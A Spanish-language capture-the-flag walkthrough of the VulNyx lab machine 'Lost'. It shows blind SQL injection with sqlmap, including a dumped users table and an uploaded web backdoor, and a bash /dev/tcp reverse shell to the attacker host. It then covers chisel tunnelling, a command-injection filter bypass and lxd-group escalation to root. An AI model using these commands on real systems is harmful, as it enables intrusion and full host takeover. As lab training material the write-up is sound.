VulNyx - Lost

logo

  • SQL Injection Based Blind - (SQL-Map)
  • Internal Port Forwarding - (Chisel)
  • Command Injection - (Filter Bypass)
  • Lxd/lxc Group - (Privilege escalation)

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.1.116

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Escaneo de servicios

❯ nmap -sV -sC -p 22,80 -v 192.168.1.116

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 65:bb:ae:ef:71:d4:b5:c5:8f:e7:ee:dc:0b:27:46:c2 (ECDSA)
|_  256 ea:c8:da:c8:92:71:d8:8e:08:47:c0:66:e0:57:46:49 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: lost.nyx
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

Al inspeccionar el código fuente encuentro el siguiente comentario.

cfont

Como me indica el comentario tengo que realizar una enumeración de subdominios.

❯ wfuzz -t 200 -c --hw=70 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.lost.nyx" http://lost.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://lost.nyx/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                         
=====================================================================

000000019:   200        294 L    645 W      9936 Ch     "dev" 

Añado el nuevo subdominio a mi archivo hosts para poder visualizarlo correctamente.

dev_http

En PASSENGERS LIST veo un mensaje que me llama la atención.

passengers

Si le añado un identificador con el valor 1 a la URL obtengo este resultado.

http://dev.lost.nyx/passengers.php?id=1

passengers2

Por comodidad uso SQLMap para identificar que tipo de inyección encuentra.


❯ sqlmap -u 'http://dev.lost.nyx/passengers.php?id=1'

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 3740=3740

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 1885 FROM(SELECT COUNT(*),CONCAT(0x716a706b71,(SELECT (ELT(1885=1885,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 7155 FROM (SELECT(SLEEP(5)))OboE)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716a706b71,0x625078655275497172675244646d4964705a654f764379487245435266634a6d776f514141665042,0x716a6b7a71),NULL,NULL-- -
---
[13:03:16] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.57, PHP 8.2.7
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

Con la flag --dbs enumero las bases de datos disponibles.

❯ sqlmap -u 'http://dev.lost.nyx/passengers.php?id=1' --dbs

[13:05:36] [INFO] fetching database names
available databases [5]:
[*] information_schema
[*] lost
[*] mysql
[*] performance_schema
[*] sys

Selecciono la base de datos lost y enumero las tablas.

❯ sqlmap -u 'http://dev.lost.nyx/passengers.php?id=1' -D lost --tables

[13:07:46] [INFO] fetching tables for database: 'lost'
Database: lost
[2 tables]
+------------+
| passengers |
| users      |
+------------+

Dumpeo la tabla users, obtengo unos usuarios con sus hashes pero es un rabbit hole.

❯ sqlmap -u 'http://dev.lost.nyx/passengers.php?id=1' -D lost -T users --dump

Database: lost
Table: users
[10 entries]
+----+--------------------------------------+------------------------------------------------------------------+----------+
| id | salt                                 | password                                                         | username |
+----+--------------------------------------+------------------------------------------------------------------+----------+
| 1  | 21dcd7a1-cc0f-11ee-88ad-c6d3ce8f613a | 11389898872781d162347916c42ce996eddd106227a55ed820d9b2d8779afeb8 | jack     |
| 2  | 21dcda3d-cc0f-11ee-88ad-c6d3ce8f613a | c31a0329a22c74f36895d20c602fc9235277bc5cf3eb340b3c83f06a5f9e3ec2 | sawyer   |
| 3  | 21dcdaa1-cc0f-11ee-88ad-c6d3ce8f613a | f5adc6bb3ca2f643ab480189f9be95fdbb388f91a72efbe00bf15e9acbce12a5 | hugo     |
| 4  | 21dcdab9-cc0f-11ee-88ad-c6d3ce8f613a | 15e00c30344346cc2eaf8db69a26b52725f66cf679d89e5bbc550fa2daa3daa0 | kate     |
| 5  | 21dcdad0-cc0f-11ee-88ad-c6d3ce8f613a | fba8173e097cd7d7fc21b5ba51f141aceb7d3175187833cf885f1a9b55105d65 | benjamin |
| 6  | 21dcdae6-cc0f-11ee-88ad-c6d3ce8f613a | 257640cfdf009d58f51cf5f9639961e0f7919122102e00da44ec813b2812c1e8 | sayd     |
| 7  | 21dcdafc-cc0f-11ee-88ad-c6d3ce8f613a | cbc27bcf23e7c1de300290f7cad2c53288d49f9e0abaa9bdaf23bf013d38f473 | jacob    |
| 8  | 21dcdb0f-cc0f-11ee-88ad-c6d3ce8f613a | 981c0ce3c15f43574fd091a11ca681156c5efff6d0ff591dbf50a8cf7020f319 | claire   |
| 9  | 21dcdb26-cc0f-11ee-88ad-c6d3ce8f613a | 549499d0ec3d5c13a7c2706e10fd46fd9bb4c372827d4802998f4cbd9cdf37c3 | desmond  |
| 10 | 21dcdb39-cc0f-11ee-88ad-c6d3ce8f613a | a6552547aa662097571391ff4a5eb0f944a290973df7ee6347c78e5a74f70d0a | john     |
+----+--------------------------------------+------------------------------------------------------------------+----------+

SQLMap tiene la flag –os-shell que me permite subir una shell.

❯ sqlmap -u 'http://dev.lost.nyx/passengers.php?id=1' --os-shell

which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[13:47:01] [INFO] retrieved the web server document root: '/var/www'
[13:47:01] [INFO] retrieved web server absolute paths: '/var/www/lost/passengers.php'
[13:47:01] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[13:47:01] [WARNING] potential permission problems detected ('Permission denied')
[13:47:01] [WARNING] unable to upload the file stager on '/var/www/'
[13:47:01] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[13:47:01] [WARNING] expect junk characters inside the file as a leftover from UNION query
[13:47:01] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[13:47:01] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[13:47:01] [INFO] trying to upload the file stager on '/var/www/lost/' via LIMIT 'LINES TERMINATED BY' method
[13:47:01] [INFO] the file stager has been successfully uploaded on '/var/www/lost/' - http://dev.lost.nyx:80/tmpbwxzv.php
[13:47:01] [INFO] the backdoor has been successfully uploaded on '/var/www/lost/' - http://dev.lost.nyx:80/tmpbwxzv.php
[13:47:01] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> 

Navego hacia http://dev.lost.nyx:80/tmpbwxzv.php y compruebo que funciona correctamente.

❯ curl "http://dev.lost.nyx:80/tmpbwxzv.php?cmd=id"
<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)

Como puedo ejecutar comandos puedo usar bash para obtener una shell.

❯ curl "http://dev.lost.nyx:80/tmpbwxzv.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.20%2F443%200%3E%261%27"

Obtengo la shell.

❯ nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.116] 36410
bash: cannot set terminal process group (527): Inappropriate ioctl for device
bash: no job control in this shell
www-data@lost:/var/www/lost$ 

El puerto 3000 esta abierto de forma local.

ss

Al lanzar curl veo que se trata de una herramienta para lanzar pings.

www-data@lost:/var/www/lost$ curl 127.0.0.1:3000
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Ping Tool</title>
    <style>
        body {
            background-image: url('numbers.gif');
            background-size: cover;
            background-repeat: no-repeat;
        }
    </style>
</head>
<body>
    <h1>Ping the Lost IP's</h1>
    <form action="" method="POST">
        <label for="ip">Enter the IP address to ping:</label><br>
        <input type="text" id="ip" name="ip"><br>
        <input type="submit" value="Ping">
    </form>
    </body>
</html>

Me descargo chisel a la máquina victima y lo lanzo como cliente.

www-data@lost:/tmp$ ./chisel client 192.168.1.20:9080 R:3000:127.0.0.1:3000

En la máquina atacante lanzo chisel como servidor.

❯ ./chisel server -p 9080 --reverse
2024/03/19 12:43:40 server: Reverse tunnelling enabled
2024/03/19 12:43:40 server: Fingerprint n6St2Chp/62wTBuCzX2w+AgmBQDttLf5LUJpNyPwmu0=
2024/03/19 12:43:40 server: Listening on http://0.0.0.0:9080
2024/03/19 12:44:31 server: session#1: tun: proxy#R:3000=>3000: Listening

Lanzo un ping al localhost.

pingTool

Si intento inyectar comandos me detecta los datos introducidos como maliciosos.

pingError

Cambiando el ; por | consigo saltarme la protección y enumero el usuario jackshephard. En PayloadsAllTheThings tienes varios ejemplos sobre el CommandInjection.

pingUser

Con la ayuda de Bypass consigo

bypassShell

Obtengo una shell como usuario jackshephard.

❯ nc -lvnp 444
listening on [any] 444 ...
connect to [192.168.1.20] from (UNKNOWN) [192.168.1.116] 39940
id
uid=1000(jackshephard) gid=1000(jackshephard) groups=1000(jackshephard),111(lxd)

Al lanzar el comando id veo que jackshephard pertenece al grupo lxd.

jackshephard@lost:~$ id
uid=1000(jackshephard) gid=1000(jackshephard) groups=1000(jackshephard),111(lxd)

Sigo el método 2 de Hacktricks .

# 1
❯ git clone https://github.com/saghul/lxd-alpine-builder

# 2
❯ cd lxd-alpine-builder

# 3
❯ sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine

# 4 
❯ sudo ./build-alpine -a i686

Una vez termina descargo el archivo alpine-v3.8-i686-20240319_1640.tar.gz a la máquina víctima.

jackshephard@lost:/tmp$ wget 192.168.1.20/alpine-v3.8-i686-20240319_1640.tar.gz

Importo la imagen y le pongo el alias image.

jackshephard@lost:/tmp$ lxc image import alpine-v3.8-i686-20240319_1640.tar.gz --alias image
Image imported with fingerprint: caf97ce37d41fc0feca296b9ee9b5687534435ef34b6a5c394d41b9f2e34c034

Compruebo que la imagen se ha importado correctamente.

lxclist

Configuro el grupo de almacenamiento lxd como predeterminado.

jackshephard@lost:/tmp$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: 
Do you want to configure a new storage pool? (yes/no) [default=yes]: y
Name of the new storage pool [default=default]: privesc
Would you like to connect to a MAAS server? (yes/no) [default=no]: 
The requested network bridge "lxdbr0" already exists. Please choose another name.
What should the new bridge be called? [default=lxdbr0]: lxdbr1
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: none
Would you like the LXD server to be available over the network? (yes/no) [default=no]: 
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]: 
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: 

Ejecuto la imagen.

jackshephard@lost:/tmp$ lxc init image mycontainer -c security.privileged=true
Creating mycontainer

Monto el /root en la imagen.

jackshephard@lost:/tmp$ lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to mycontainer

Obtengo el root de la siguiente forma.

jackshephard@lost:/tmp$ lxc start mycontainer
jackshephard@lost:/tmp$ lxc exec mycontainer /bin/sh
~ # id
uid=0(root) gid=0(root)

Y aquí termina la máquina Lost.

Saludos!